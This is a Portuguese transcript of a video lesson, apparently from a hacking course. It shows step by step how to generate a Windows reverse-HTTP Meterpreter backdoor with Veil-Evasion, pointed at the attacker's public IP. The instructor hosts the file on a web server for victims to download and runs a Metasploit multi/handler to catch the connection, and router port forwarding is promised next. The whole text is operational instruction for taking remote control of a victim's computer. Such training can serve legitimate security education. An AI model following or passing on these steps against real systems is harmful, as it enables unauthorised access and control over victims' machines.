Educador: Ok, então agora
vamos em frente.
Vamos criar um backdoor,
e a única diferença é que vamos definir o IP para
o IP público em vez do IP local, por isso
vamos criar um backdoor exatamente da
mesma maneira que usamos para criá-lo quando
estamos hackeando dispositivos na mesma rede.
Então, eu vou usar o Veil-Evasion e vou fazer isso um
pouco rápido, porque fizemos isso e não
há nada novo nisso, para que possamos listar
para ver o que temos.
Vou usar o número 9, então é
exatamente a mesma carga que usamos no vídeo anterior.
É a carga http reversa.
Então, nós vamos usar
9, e podemos ver as opções aqui.
Podemos ver que o LPORT está definido como 8080 por
padrão e vou manter o mesmo.
A única coisa que vou mudar é o LHOST,
e nos vídeos anteriores quando estávamos recebendo
conexões em nosso próprio computador, costumávamos configurá-lo
para o IP local, então, se eu fizer
o ifconfig wlan0, costumávamos configurá-lo
para 192. 168 0 1 porque
esse é o IP que os dispositivos usam dentro da rede.
Bem, sempre que você quiser fazer coisas
do lado de fora, queremos usar o IP real, porque esses
IPs internos não são visíveis para computadores fora da rede.
Então, eu vou usar o IP que
eu vejo no Google, então quando digito 'qual
é o meu ip', eu obtenho esse IP e vou usá-lo
como o LHOST no meu backdoor,
então vou copiar isso e
eu vou configurá-lo aqui.
E desculpe, não o colei corretamente,
então pronto.
Pressione 'info' para garantir que tudo esteja
configurado corretamente; portanto, o PORT 8080 estamos usando o
IP público; portanto, este é o passo mais importante nisso
e, em seguida, vamos 'gerar'.
E nós vamos chamar isso de retroordenação. Exe'.
Você vai pressionar Enter.
E isso gerou minha carga útil para mim,
então é armazenada aqui.
Então, novamente,
como de costume, eu vou
copiar e colar no meu
var www html e vou mostrar
como fazer o download da Internet de fora da rede.
Então, eu vou copiar isso no diretório do meu servidor web.
Ok,
então está tudo pronto.
Agora tudo o que precisamos fazer é apenas
ouvir as conexões recebidas.
Vamos fazer isso usando o multi / manipulador,
então fizemos isso antes novamente.
Eu vou fazer isso bem rápido.
E quando eu vou ouvir o multi /
manipulador, eu vou realmente ouvir no meu IP local, então
eu não vou ouvir no externo,
eu vou ouvir no local porque não
posso ouvir o externo.
Na verdade, estou na rede e
só tenho controle sobre o meu computador atual.
Então, o que vou fazer agora
é aqui, na máquina Kali, vou ouvir na PORT
8080, e no dispositivo externo o backdoor tentará
se conectar ao backdoor,
então, na etapa seguinte, configuraremos Encaminhamento de IP para permitir que
o roteador encaminhe os PORTs 8080 para a máquina Kali,
mas primeiro
precisamos ouvir o PORT 8080
na máquina Kali, e faremos
isso usando o multi / manipulador.
Então, eu vou fazer o msfconsole.
Novamente, nós fizemos
isso antes, então eu vou fazer isso um pouco rapidamente.
Então, eu vou 'usar exploit / multi / handler'.
Vou definir a carga
como windows / meterpreter / reverse_http.
Em seguida, definiremos o LPORT como 8080, para que seja
a porta na qual obteremos conexões e, em seguida, configurarei o
LHOST, o host de escuta,
para o meu
IP privado, como eu disse antes, então eu
' vou fazer
'definir LHOST para
192. 168 0 11 '.
Agora vou fazer 'show options' para
garantir que tudo seja feito corretamente,
e podemos ver que temos o LPORT definido como 8080 e o host local
definido como 192. 168 0 11 e
estamos usando uma carga útil de
windows / meterpreter / reverse_http.
Então está tudo bem.
Eu vou fazer 'explorar'.
Como você pode
ver aqui, ele está ouvindo no
meu IP privado e no PORT 8080.
Então, agora fizemos as duas
etapas principais: criamos
um backdoor, e o backdoor nos restabelecerá as
conexões com base no endereço IP
real e estamos ouvindo em nossa máquina local.
Estamos ouvindo no PORT 8080 na máquina Kali.
Portanto, quando a pessoa de
destino executa o backdoor na Internet,
o backdoor tenta
se conectar a esse IP na porta 8080.
O único problema agora é o Gateway,
que é o roteador aqui.
Como o PORT 8080 não está
aberto, receberá a conexão.
Não saberá o que fazer com isso,
por isso precisamos configurar
o roteador para avisá-lo sempre que você receber
alguma coisa, sempre que você obtiver uma conexão no PORT 8080,
quero que você o redirecione para minha máquina Kali.
E podemos fazer isso de
duas maneiras, e falaremos sobre eles na próxima palestra.